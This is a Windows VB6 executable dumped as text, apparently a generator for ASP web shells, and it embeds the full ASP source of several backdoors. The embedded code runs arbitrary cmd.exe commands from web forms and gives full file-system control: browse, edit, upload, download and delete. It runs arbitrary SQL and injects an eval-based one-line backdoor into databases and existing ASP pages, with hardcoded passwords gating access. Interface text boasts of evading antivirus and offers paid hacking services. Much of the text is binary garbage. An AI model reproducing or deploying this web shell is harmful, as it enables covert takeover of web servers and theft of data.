MZ@ !L!This program cannot be run in DOS mode. $뗈뗈뗈H뗈뗈"뗈Rich뗈PELeDA 0$ @Pތt (0D( .text `.data  @.rsrcD0 0@@`>MSVBVM60.DLLDY6j7ji7jn8j8j8j T*j~*jI*js8jNb7jf*j6jh7j'T*jK*jb7j8j*6j1+6jB*j)/6jb7jc7jd7j6j8jD*jc*jo)jH*jIT*jI*ji7j*j 7j|g5j[N*jĨ7jW`*jf7jNc7j8j|i6jŰ6j7jҐ5jX*jI)j*jb7jc7jD*jH*jc7j=]7j>(jw6j-8j8j<8j67j^G*j6j 7j7j8j57jG*jP*jtB@,@@ @@XAA_A A A A A%l@%@%@%X@%@@%@%(@%@%\@%@%@%@%@%@%4@%@%@%@% @%@%`@%@%@%@%@%T@%@%@%|@%@%@%0@% @%@%@%8@%@%@%@%p@%@%@%,@%@%x@%@%<@%P@% @%@%@%@%h@%@%@%$@%d@%@%@%@%H@%@%@%L@%D@%@%@%t@%@%@h@08! H%5@ivate 1mm1>aAD94Jk;QHkA[.:O3f `ӓForm1 #ɱASP԰棡B#>lt6 &h( @UU_U_*UUU?*UU?                                               ?( @ʦ """)))UUUMMMBBB999|PP3f3333f333ff3fffff3f3f̙f3333f3333333333f3333333f3f33ff3f3f3f3333f3333333f3̙33333f333ff3ffffff3f33f3ff3f3f3ffff3fffffffff3fffffff3f̙ffff3ff333f3ff33fff33f3ff̙3f3f3333f333ff3fffff̙̙3̙f̙̙̙3f̙3f3f3333f333ff3fffff3f3f̙3ffffffffff!___www888888888---88888---,,,,88--,,,,,8--n,,,,,&-,,,,,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'$Form15<YFbText3x7 a
<% dim t1,t2,lsabc,thetime t1=timer for i=1 to 500000 lsabc= 1 + 1 next t2=timer thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10) %>
nbsp; nbsp;<%=Request.ServerVariables("SERVER_NAME")%>
nbsp;IP nbsp;<%=Request.ServerVariables("LOCAL_ADDR")%>
nbsp;ʱ nbsp;<%=now%>
nbsp;ļ· nbsp;<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
 ϵͳ  <%=Request.ServerVariables("OS")%>
 ٶȲ  <%=thetime%>

 mdb+sqlݿ:
<%' -------------------ACESSݿдaspſʼ----------------------- DBDriver = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" dbname=request("dbname") Set objConn = Server.CreateObject("ADODB.Connection") objConn.ConnectionString = DBDriver & dbname objConn.Open objConn.execute("create table notdownloadlcx(notdownloadlcx oleobject)") set rs=server.createobject("adodb.recordset") sql="select * from notdownloadlcx" rs.open sql,objConn,1,3 rs.addnew rs("notdownloadlcx").appendchunk(chrB(asc("<")) & chrB(asc("s")) & chrB(asc("c"))& chrB(asc("r")) & chrB(asc("i"))& chrB(asc("p"))& chrB(asc("t"))& chrB(asc(" "))& chrB(asc("r"))& chrB(asc("u"))& chrB(asc("n"))& chrB(asc("a"))& chrB(asc("t"))& chrB(asc("="))& chrB(asc("s"))& chrB(asc("e"))& chrB(asc("r"))& chrB(asc("v"))& chrB(asc("e"))& chrB(asc("r"))& chrB(asc(" "))& chrB(asc("l"))& chrB(asc("a"))& chrB(asc("n"))& chrB(asc("g"))& chrB(asc("u"))& chrB(asc("a"))& chrB(asc("g"))& chrB(asc("e"))& chrB(asc("="))& chrB(asc("j"))& chrB(asc("a"))& chrB(asc("v"))& chrB(asc("a"))& chrB(asc("s"))& chrB(asc("c"))& chrB(asc("r"))& chrB(asc("i"))& chrB(asc("p"))& chrB(asc("t"))& chrB(asc(">"))& chrB(asc("e"))& chrB(asc("v"))& chrB(asc("a"))& chrB(asc("l"))& chrB(asc("("))& chrB(asc("r"))& chrB(asc("e"))& chrB(asc("q"))& chrB(asc("u"))& chrB(asc("e"))& chrB(asc("s"))& chrB(asc("t"))& chrB(asc("."))& chrB(asc("f"))& chrB(asc("o"))& chrB(asc("r"))& chrB(asc("m"))& chrB(asc("("))& chrB(asc("'"))& chrB(asc("#"))& chrB(asc ("'"))& chrB(asc(")"))& chrB(asc("+"))& chrB(asc("'"))& chrB(asc("'"))& chrB(asc(")"))& chrB(asc("<"))& chrB(asc("/"))& chrB(asc("s"))& chrB(asc("c"))& chrB(asc("r"))& chrB(asc("i"))& chrB(asc("p"))& chrB(asc("t"))& chrB(asc(">"))) rs.update rs.close set rs=nothing objConn.close set objConn=nothing '-----------------------------------------------------ݿ------------------------------------ '---------------------fsoдļʼ----------------------------------- pathlcx=trim(Request.form("pathlcx")) textlcx=trim(Request.form("textlcx")) if textlcx<>"" and pathlcx<>"" then textlcx=replace(textlcx,">","^>") textlcx=replace(textlcx,"<","^<") textlcx=replace(textlcx,"&","^&") textlcx=replace(textlcx,chr(34),"^"&chr(34)) textlcx=replace(textlcx,chr(10),"^"&chr(10)) textlcx=replace(textlcx,chr(13),"^"&chr(13)) set shell=server.createobject("shell.application") set shellfolder=shell.namespace("C:\Documents and Settings\Default User\ʼ˵\\") set shellfolderitem=shellfolder.parsename("±.lnk") set objshelllink =shellfolderitem.getlink objshelllink.path="cmd.exe" objshelllink.arguments="/c echo "&textlcx&">"&pathlcx&" &&del c:\a.lnk" objshelllink.save("c:\a.lnk") shell.namespace("c:\").items.item("a.lnk").invokeverb end if '--------------fsoдļ-----------fsoʼ-------------%> <%'-------------fso------------%>
" method="post"> ҪĿ¼,Ҫ\
copy Ŀ¼ļ(ҪĿ¼ļ
move Ŀ¼ļ(ҪĿ¼ļ
· ԼӲ
CMDԻ
·ļ

 

?up=yes enctype="multipart/form-data"> Ŀ¼+ļ: ļַ:
<%'-----------------fsoshell.applicationʼ------------------ DSnXA = Request.Form("text") 'Ŀ¼ if (DSnXA <> "") then set shell=server.createobject("shell.application") 'shell set fod1=shell.namespace(DSnXA) set foditems=fod1.items for each co in foditems response.write "" & co.path & "-----" & co.size & "
" next end if %> <% DSnXA1 = Request.Form("text1") 'Ŀ¼ܽļ DSnXA2 = Request.Form("text2") if DSnXA1<>"" and DSnXA2<>"" then set shell1=server.createobject("shell.application") 'shell set fod1=shell1.namespace(DSnXA2) for i=len(DSnXA1) to 1 step -1 if mid(DSnXA1,i,1)="\" then path=left(DSnXA1,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(DSnXA1,len(DSnXA1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command completed success!" end if %> <% DSnXA3 = Request.Form("text3") 'Ŀ¼ƶ DSnXA4 = Request.Form("text4") if DSnXA3<>"" and DSnXA4<>"" then set shell2=server.createobject("shell.application") 'shell set fod1=shell2.namespace(DSnXA4) for i=len(DSnXA3) to 1 step -1 if mid(DSnXA3,i,1)="\" then path=left(DSnXA3,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(DSnXA3,len(DSnXA3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if %> <% DSnXA5 = Request.Form("text5") 'ִгҪָ· DSnXA6 = Request.Form("text6") if DSnXA5<>"" and DSnXA6<>"" then set shell3=server.createobject("shell.application") 'shell shell3.namespace(DSnXA5).items.item(DSnXA6).invokeverb response.write "command completed success!" end if %>

Enter Password
<%end sub%> <% end if %> <%sub main()'---------------------fsofso뿪ʼ--------------------- urlpath=Request.ServerVariables("SERVER_NAME") dim cpath,lpath if Request("path")="" then lpath="/" else lpath=Request("path")&"/" end if if Request("attrib")="true" then cpath=lpath attrib="true" else cpath=Server.MapPath(lpath) attrib="" end if %> <% if request.form("submit1")="fsoҳ" then call out() end if%> 
<% 
If (IsObject(oFilelcx)) Then
Response.Write Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call objfsolhn.DeleteFile(szTempFile, True)
End If %>
<%
Set fd = objfsolhn.GetFolder(Request("path88")&"\")
If SearchString <> "" Then
Response.Write "
½űļǶ" & SearchString & "ؼ֣
"
SearchFolder fd,SearchString
End If
%>
л̷ <% For Each thing in objfsolhn.Drives Response.write ""&thing.DriveLetter&": " NEXT %>  ַ <%= "\\" & oScriptNetlhn.ComputerName & "\" & oScriptNetlhn.UserName %>
<% if Request("attrib")="true" then response.write "л·༭ģʽ" else response.write "л·༭ģʽ" end if %> ·: <%=cpath%>   ǰĿ¼:<%=lpath%>
Ŀ¼: þ·    
<% DSnXA = Request.Form(".CMD") If (DSnXA <> "") Then szTempFile = "c:\" & objfsolhn.GetTempName( ) Call oScriptlhn.Run ("cmd.exe /c " & DSnXA & " > " & szTempFile, 0, True) Set oFilelcx = objfsolhn.OpenTextFile (szTempFile, 1, False, 0) End If%>
" method="POST" name=userdata>
?up=yes enctype="multipart/form-data"> Ŀ¼+ļ: ļַ:
" method="post"> ؼ
½ļ½Ŀ¼ͬ
<% dim theFolder,theSubFolders if objfsolhn.FolderExists(cpath)then Set theFolder=objfsolhn.GetFolder(cpath) Set theSubFolders=theFolder.SubFolders Response.write"ϼĿ¼
" For Each x In theSubFolders%> <%Response.write" "&x.Name&" ɾ
" Next end if %> 		ļ ƵļԲ鿴ļԣ Сֽڣ ļ
<% dim theFiles if objfsolhn.FolderExists(cpath)then Set theFolder=objfsolhn.GetFolder(cpath) Set theFiles=theFolder.Files Response.write"" For Each x In theFiles if Request("attrib")="true" then showstring=""&x.Name&"" else showstring=""&x.Name&"" end if Response.write"" Next end if Response.write"
"&showstring&""&x.size&" edit copy del down inject
" %>
<% end sub sub edit() if request("op")="del" then '**********ɾļ******** if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set thisfile = objfsolhn.GetFile(whichfile) thisfile.Delete True Response.write "
ɾɹҪˢ²ܿЧ.
" '**********ɾļ******** else if request("op")="copy" then '**********ļ******** if Request("attrib")="true" then whichfile=Request("path") dsfile=Request("dpath") else whichfile=server.mappath(Request("path")) dsfile=Server.MapPath(Request("dpath")) end if Set thisfile = objfsolhn.GetFile(whichfile) thisfile.copy dsfile Response.write "

Դļ"+whichfile+"

" Response.write "

Ŀļ"+dsfile+"
" Response.write "

ƳɹҪˢ²ܿЧ!

" '**********ļ******** else if request.form("text")="" then if Request("creat")<>"yes" then if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set thisfile = objfsolhn.OpenTextFile(whichfile, 1, False) counter=0 thisline=Server.HTMLEncode(thisfile.readall) thisfile.Close end if %>
">
ASPľ2005ļ༭
ļ "readonly>
<%else if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set outfile=objfsolhn.CreateTextFile(whichfile) outfile.WriteLine Request("text") outfile.close Response.write "
޸ijɹҪˢ²ܿЧ!
" end if end if end if end sub %> <% sub dir() if request("op")="del" then '***********ɾĿ¼********** if Request("attrib")="true" then whichdir=Request("path") else whichdir=server.mappath(Request("path")) end if objfsolhn.DeleteFolder whichdir,True Response.write "
ɾɹҪˢ²ܿЧɾĿ¼Ϊ:"&whichdir&"
" '**********ɾĿ¼************* else '***********½Ŀ¼********** if request("op")="creat" then if Request("attrib")="true" then whichdir=Request("path") else whichdir=server.mappath(Request("path")) end if objfsolhn.CreateFolder whichdir Response.write "
ɹҪˢ²ܿЧ,Ŀ¼Ϊ:"&whichdir&"
" '***********½Ŀ¼********** end if end if end sub '****ļ function downloadFile(strFile) if request("attrib")="" then strFilename = server.MapPath(strFile) end if if request("attrib")="true" then strFilename = Request("path") end if Response.Buffer = True Response.Clear Set s = Server.CreateObject("ADODB.Stream") s.Open s.Type = 1 on error resume next if not objfsolhn.FileExists(strFilename) then Response.Write("

Error:

" & strFilename & " does not exist

") Response.End end if Set f = objfsolhn.GetFile(strFilename) intFilelength = f.size s.LoadFromFile(strFilename) if err then Response.Write("

Error:

" & err.Description & "

") Response.End end if Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name Response.AddHeader "Content-Length", intFilelength Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite s.Read Response.Flush s.Close Set s = Nothing response.end End Function %> <%'ļ sub inject() if Request("id")="inject" and request("attrib")<>"true"then testfile=Server.MapPath(""&Request("path")&"") set thisfile=objfsolhn.OpenTextFile(testfile,8,True,0) thisfile.WriteLine("") thisfile.close Response.write "succeed!ñaspļ"&Request("path")&"Ĭ#" else Response.write "

" Response.write "" Response.write "
" end if end sub %> <%function fieldtype(typeid) select case typeid case 130 fieldtype = "ı" case 2 fieldtype = "" case 3 fieldtype = "" case 7 fieldtype = "/ʱ" case 5 fieldtype = "˫" case 11 fieldtype = "/" case 128 fieldtype = "OLE " case else fieldtype = typeid end select end function function fillbefore(str,prefix,totallen) str=CStr(str) if len(str)
棺ԷǷʹô˳ܴκβԸ

˰汾лߡϱӡС·wangyongczysun.cһŬLCX&ALLEN

ļɶɣлʹ QQ178383587

 Text2 <%@ LANGUAGE="VBSCRIPT" codepage ="936" %> <%if err then%> <%end if %>
" Method="POST">

ܷǷ޸WSH֣ʹá

ףˣQQ178383587

<% dim lhtmp on error resume next lhtmp = SERvER.MapPath("/") lhtmp = lhtmp + "\lhtmp.txt" call oScriptlhn.run ("cmd.exe /c "  request.form("cmd")  ">" & lhtmp,0,true) Set oFile = oFilelh.OpenTextFile (lhtmp, 1, FAlse, 0) %> 


<% 
  If (IsObjeCt(oFile)) Then
   on error resume next
    Response.Write server.htmlencode(oFile.ReAdAll)
    oFile.Close
    CAll oFilelh.DeleteFile(lhtmp, True)
  End If
%>


Text6P
Text5P
x'Command4NEWMM80Gw+Command2	CMD.ASPP
0wText48<% Dim objFSO %>
<% Dim fDAtA %>
<% Dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreAteObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfDpAth"))<>"" then %>
<% fDAtA = request("cyfDDAtA") %>
<% Set objCountFile=objFSO.CreAteTextFile(request("syfDpAth"),True) %>
<% objCountFile.Write fDAtA %>
<% if err =0 then %>
<% response.write "sAve Success!" %>
<% else %>
<% response.write "SAve UnSuccess!" %>
<% enD if %>
<% err.cleAr %>
<% enD if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "
" %>
<% Response.write "ļ·(ļ:D:\web\x.Asp):" %>
<% Response.Write "" %>
<% Response.Write "
" %>
<% Response.write "ļ·" %>
<% =server.mAppAth(Request.ServerVAriAbles("SCRIPT_NAME")) %>
<% Response.write "
" %>
<% Response.write ":" %>
<% Response.write "" %>
<% Response.write "" %>
<% Response.write "
" %>
KText1TK<%@ LANGUAGE="VBSCRIPT"  codepage ="936" 
'һ1,ڶ2,滻ʾͿԸijɱ%>



<%if err then%>
 
 
<%
end if %>


::::ASPľ2005::::
<%'ϴ򻯾̫ȫdzϱģԴ˱ʾл--ϴඨ
response.buffer=true
filename=Request.ServerVariables("URL")
Server.ScriptTimeout=5000
On Error Resume Next 
Dim oUpFileStream
Class UpFile_Class
Dim Form,File,ascstr
Public Sub GetDate (RetSize)
   '
  Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
  Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
  Dim iFindStart,iFindEnd
  Dim iFormStart,iFormEnd,sFormName
   '뿪ʼ
  If Request.TotalBytes < 1 Then
    Err = 1
    Exit Sub
  End If
  If RetSize > 0 Then 
    If Request.TotalBytes > RetSize Then
    Err = 2
    Exit Sub
    End If
  End If
  Set Form = Server.CreateObject ("Scripting.Dictionary")
  Form.CompareMode = 1
  Set File = Server.CreateObject ("Scripting.Dictionary")
  File.CompareMode = 1
  Set tStream = Server.CreateObject ("Adodb.Stream")
  Set oUpFileStream = Server.CreateObject ("Adodb.Stream")
  oUpFileStream.Type = 1
  oUpFileStream.Mode = 3
  oUpFileStream.Open 
  oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)
  oUpFileStream.Position = 0
  RequestBinDate = oUpFileStream.Read 
  iFormEnd = oUpFileStream.Size
  bCrLf = ChrB (13)  ChrB (10)
  'ȡÿĿ֮ķָ
  sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1)
  iStart = LenB  (sSpace)
  iFormStart = iStart+2
  'ֽĿ
  Do
    iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf  bCrLf)+3
    tStream.Type = 1
    tStream.Mode = 3
    tStream.Open
    oUpFileStream.Position = iFormStart
    oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart
    tStream.Position = 0
    tStream.Type = 2
    tStream.CharSet = "gb2312"
    sInfo = tStream.ReadText      
    iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1
    iFindStart = InStr (22,sInfo,"name=""",1)+6
    iFindEnd = InStr (iFindStart,sInfo,"""",1)
    sFormName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)
    If InStr  (45,sInfo,"filename=""",1) > 0 Then
      Set oFileInfo = new FileInfo_Class
      iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
      iFindEnd = InStr (iFindStart,sInfo,"""",1)
      sFileName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)
      oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1) 
      oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))
      oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)
      iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14
      iFindEnd = InStr (iFindStart,sInfo,vbCr)
      oFileInfo.FileType = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)
      oFileInfo.FileStart = iInfoEnd
      oFileInfo.FileSize = iFormStart -iInfoEnd -2
      oFileInfo.FormName = sFormName
      file.add sFormName,oFileInfo
    else
tStream.Close
      tStream.Type = 1
      tStream.Mode = 3
      tStream.Open
      oUpFileStream.Position = iInfoEnd 
      oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
      tStream.Position = 0
      tStream.Type = 2
      tStream.CharSet = "gb2312"
      sFormValue = tStream.ReadText
      If Form.Exists (sFormName) Then
        Form (sFormName) = Form (sFormName)  ", "  sFormValue
        else
        form.Add sFormName,sFormValue
      End If
    End If
    tStream.Close
    iFormStart = iFormStart+iStart+2
  Loop Until  (iFormStart+2) = iFormEnd 
  RequestBinDate = ""
  Set tStream = Nothing
End Sub
End Class
Class FileInfo_Class
Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
Public Function SaveToFile (Path)
  On Error Resume Next
  Dim oFileStream
  Set oFileStream = CreateObject ("Adodb.Stream")
  oFileStream.Type = 1
  oFileStream.Mode = 3
  oFileStream.Open
  oUpFileStream.Position = FileStart
  oUpFileStream.CopyTo oFileStream,FileSize
  oFileStream.SaveToFile Path,2
  oFileStream.Close
  Set oFileStream = Nothing 
End Function
Public Function FileDate
  oUpFileStream.Position = FileStart
  FileDate = oUpFileStream.Read (FileSize)
  End Function
End Class
%>
<% if Request("passwordlcx")="1" then 
session("passwordlcx")="lcx" 
response.redirect Request.ServerVariables("URL") 
elseif session("passwordlcx")=""then 
%> 

 












   
 
<%else%> 
<%
if request("up")="yes" then
   set upload=new UpFile_Class
   upload.GetDate (1024*1024)
   for each formName in upload.file
   set file=upload.file(formName)
    if file.FileSize>0 then
	savepath=upload.form("filepath")
    file.SaveToFile savepath
	response.write "ϴɹ!ϴ·Ϊ"savepath"
"
	response.write "

һҳ
"
   end if
   set file=nothing
   next
   set upload=nothing
   showerr()
   response.end
end if
%>
<%
function out() 
Response.Cookies("password")=""
response.redirect ""url""
End Function%>
<%'-------------------ļ------------------
on error resume next
SearchString = Request("SearchString")
count=0
Function SearchFile( f, s, title )
Set fo = objfsolhn.OpenTextFile(f)
content = fo.ReadAll'ȫıcontent
fo.Close
SearchFile = inStr(1, content, S, vbTextCompare)>0  'ӵһַʼcontentǷS
If SearchFile Then',ļTITLE
pos1 = InStr(1, content, "", vbTextCompare)
pos2 = InStr(1, content, "", vbTextCompare)
title = ""
If pos1 > 0 And pos2 > 0 Then'ȡTITLEмַ
title = Mid( content, pos1 + 7, pos2 - pos1 - 7 )
End If
End If
End Function
Function FileLink( f, title )
vPath =f.Path'ȡ·
If title = "" Then title = f.Name'
'FileLink = ""  title  ""
FileLink = vPath 
FileLink = "
    "  FileLink  "
"
End Function
Sub SearchFolder( fd, s )
found = False
For each f In fd.Files
pos = InStrRev(f.Path, "." )
If pos > 0 Then
ext = Mid(f.Path, pos + 1 )
Else
ext = ""
End If
If LCase(ext) = "asp" or LCase(ext) = "asa" or LCase(ext) = "cer"  or LCase(ext) = "cdx" Then
If SearchFile( f, s, title ) Then
Response.Write FileLink(f, title)
count=count+1
End If
End If
Next
For each sfd In fd.SubFolders
SearchFolder sfd, s
Next
End Sub'%>
<%'-------------------------mssqlsqlչʼ---------------------------------
Dim strsql, objDBConn, objRS, intFieldCount, intCounter,strcon
strcon =trim(Request.form("strcon"))
strsql =trim(Request.form("SQL"))
if strSQL <> "" and lcase(left(trim(strsql),6))<>"select" Then
Response.Write "SQL: "  strsql  "ɹ
" 
Set objDBConn = Server.CreateObject("ADODB.Connection")
  objDBConn.Open strcon
 objdbconn.execute(strsql)
 objDBConn.Close   
   Set objDBConn = Nothing 
end if
'-----------------------------------ݿ¼б----------------------------------------
DBDriver = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" 
strRootFolder = Server.MapPath("/")
scriptname = Request.ServerVariables("SCRIPT_NAME")    
if request("op")="db" and request("dbname")<>"" and request("tablename")<>"" then
dbname=trim(request("dbname"))
tablename=request("tablename")
Set objConn = Server.CreateObject("ADODB.Connection")
if instr(dbname,"Info=False")>0  then 
objConn.ConnectionString = dbname
else
objConn.ConnectionString = DBDriver  dbname
end if 
objConn.Open
Set objTableRS = objConn.OpenSchema(20,Array(Empty, Empty, Empty, "TABLE"))
if tablename="" then tablename=objTableRS("Table_Name").Value
%>


  
<%=objfsolhn.GetFilename(dbname)%>

      

      
        <%Do While Not objTableRS.EOF%> 
        
        <%objTableRS.MoveNext
		Loop%> 
      
 
          3 "><%=objTableRS("Table_Name").Value%>
        

    		
    
      

        
 
          <%=tablename%> 
            

              

                
 
                    
                     "> 
                    
 


<%dim mysql,i,j
j=1
mysql="Select Top 10 * From ["&tablename&"]"
Set objRS=objConn.Execute(mysql)
For i=0 to objRs.Fields.Count-1
Response.write""
Next
Response.write ""
if objrs.eof then
else
DO While NOT objRS.Eof
Response.write ""
%>
<%
For i=0 to objRs.Fields.Count-1
Response.write""
Next
Response.write""
objRS.MoveNext
j=j+1
Loop
end if
set objRs = nothing
set objTableRS = nothing
objConn.Close
set objConn = nothing
%>



"&objRS.Fields(i).name&"
"
If IsNull(objRs.Fields(i).value) or objRs.Fields(i).value="" or objRs.Fields(i).value=" " then
response.write " "
else
  Response.write Server.HTMLEncode(objRs.Fields(i).value)
 end if
Response.write"


ʾ10¼Ҫ쿴¼ʹSQL




<%
Response.End
end if
%>
<%
'----------------------------ݿб---------------------------------------------
if request("op")="db" and request("dbname")<>"" then
dbname=trim(request("dbname"))
Set objConn = Server.CreateObject("ADODB.Connection")
'objConn.ConnectionString = DBDriver & dbname
if instr(dbname,"Info=False")>0  then 
objConn.ConnectionString = dbname
else
objConn.ConnectionString = DBDriver & dbname
end if 
objConn.Open
Set objTableRS = objConn.OpenSchema(20,Array(Empty, Empty, Empty, "TABLE"))
%>


  

    <%=objfsolhn.GetFilename(dbname)%>

      

      
        <%Do While Not objTableRS.EOF%> 
        
        <%objTableRS.MoveNext
		Loop
		objTableRS.MoveFirst%> 
      
 
          3 "><%=objTableRS("Table_Name").Value%>
        

    		
    ִSQL

       
      <%While Not objTableRS.EOF%>
      
		<%Set objColumnRS = objConn.OpenSchema(4,Array(Empty, Empty, objTableRS("Table_Name").Value))
        While Not objColumnRS.EOF
        iLength = objColumnRS("Character_Maximum_Length")
		iPrecision = objColumnRS("Numeric_Precision")	
	            iScale = objColumnRS("Numeric_Scale")
		iDefaultValue = objColumnRS("Column_Default")
              	If IsNull(iLength) then iLength = " "	
	            If IsNull(iPrecision) then iPrecision = " "
		If IsNull(iScale) then iScale = " "
		If IsNull(iDefaultValue) then iDefaultValue = " "%>
          
        <%objColumnRS.MoveNext
	Wend
	objTableRS.MoveNext
	Set objColumnRS = Nothing
Response.write "
"
Wend
objTableRS.Close
Set objTableRS = Nothing
objConn.Close
Set objConn = Nothing
%>
 

        
 
          <%=objTableRS("Table_Name").Value%>
        
 
  ֶ ֶδСǷΪĬֵ 
 
<%=objColumnRS("Column_Name")%>
          <%=fieldtype(objColumnRS("Data_Type"))%>
          <%=iLength%>
          <%=iPrecision%>
           
            <%If objColumnRS("Is_Nullable") then
			Response.Write ""
            else
            Response.write ""
		End If%>
          
          <%=iDefaultValue%>
        
 		 

<%
Response.End
end if
%>
<%
'----------------------------ִSQL---------------------------------------------
if request("op")="sql" then
dbname=trim(request("dbname"))
Set objConn = Server.CreateObject("ADODB.Connection")
'objConn.ConnectionString = DBDriver & dbname
if instr(dbname,"Info=False")>0  then 
objConn.ConnectionString = dbname
else
objConn.ConnectionString = DBDriver & dbname
end if 
objConn.Open
Set objTableRS = objConn.OpenSchema(20,Array(Empty, Empty, Empty, "TABLE"))
j=0
%>


  

    <%=objfsolhn.GetFilename(dbname)%>

      

      
        <%Do While Not objTableRS.EOF%> 
        
        <%objTableRS.MoveNext
		Loop%> 
      
 
          3 "><%=objTableRS("Table_Name").Value%>
        

    		
     
      

      

        
 
          
				
              
			  ">
              
        

      

      
 
      
<%if request("cmd")<>"" then
mysql=request("cmd")
Set objRS=objConn.Execute(mysql)
if objrs.state = 1 then 
For i=0 to objRs.Fields.Count-1
Response.write""
Next
Response.write ""
if objrs.eof then
%>
<%else
DO While NOT objRS.Eof
Response.write ""
%>
<%
For i=0 to objRs.Fields.Count-1
Response.write""
Next
Response.write""
objRS.MoveNext
j=j+1
Loop
end if
set objRs = nothing
end if
end if
set objTableRS = nothing
objConn.Close
set objConn = nothing
%>
     

        
"&objRS.Fields(i).name&"
"
If IsNull(objRs.Fields(i).value) or objRs.Fields(i).value="" or objRs.Fields(i).value=" " then
response.write " "
else
  Response.write Server.HTMLEncode(objRs.Fields(i).value)
 end if
Response.write"

      

      <%if request("cmd")<>"" then response.Write("ִгɹ "&j&" ¼")%>
  

<%
Response.End
end if
%>
<%
url= Request.ServerVariables("URL")
if trim(request.form("password"))<>"" and trim(request.form("password"))<>"2" then call out()
if trim(request.form("password"))="2" then
response.cookies("password")="allen"
response.redirect ""&url&""
else if Request.Cookies("password")<>"allen" then
call login() '
response.end 'ֹͣ
end if
select case request("id")
case "edit"
call edit()
case "upload"
call upload()
case "dir"
call dir()
case "down"
call downloadFile(request("path"))
case "inject"
call inject()
case else
call main()
end select
end if
sub login()
for i=0 to 25
on error resume next
IsObj=false
VerObj=""
dim TestObj
set TestObj=server.CreateObject(ObjTotest(i,0))
If -2147221005 <> Err then
IsObj = True
VerObj = TestObj.version
if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
ObjTotest(i,2)=IsObj
ObjTotest(i,3)=VerObj
next
%>
*	Command1󶥶x0GwLabel6  ˳棺Ҫ˿չַҳ©©ҵ񣬲ɱصľȣշѣ©ľȣշѡxgLabel5w  CMD.ASPʹCLASSID汾в۷޸WSHƣʹã˵ķɱˣԡx
W
Label42ߣ  QQ178383587 email:braveboy3@sohu.com
W
Label3   VBдģɱASPţԻǽɽԣһŷֱǺ󶥶ľұдCMD.ASPŵNEWMMɵļͬĿ¼¡xHg	8Label2뺣ľڶxw:
Label1뺣ľĵһxxo	P>aAD94l@LVB5!vb6chs.dll*
H@0l@l@0@x}door11@@pA	 A@ A*\AD:\temp\RASPTubhV\]z1.vbpl@, Ap@ AC@E-DB$Ջ8i
@$@	@@,@@@@1Form1Jk;QHkA[.@@Ρl:n>aAD94՗
WB!{}N3f`ӓText2.=h8+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLBVB@	@@"Ax<Text4:O3f`ӓFormN3f`ӓLabel1Label2Label3Text1Text5Text6Label5Label4N3f`ӓCommand4Label6Command1Command2Text3keystrkeyreplace4DTd|qwertyuioplkjhgfdsazxcvbnm0987654321QWERTYUIOPLKJHGFDSAZXCVBNMh@"Et	M@M@M@ËEPQUE܋MEJMBJEM_^d
[]Uh@dPd%hSVWeEH@uƃEVuQ3V}܉}؉}ԉ}ĉ}}}}}}}}}}|xhXH8(fFhP|PP@؍URS;}hh@SP<@E^4hˉ}pDžh@|@h@hQSV;}hh@VP<@h@h@VP|PP@URP;}hh@QP<@EhMĉ}pDžh@|@VP|PP@URP;}hh@QP<@EhM}pDžh@|@VP|PP@URP;}hh@QP<@VPxPP@URV;}hh@VP<@EPh@x@MQh@x@U#ERPj@x|QRj,@f;
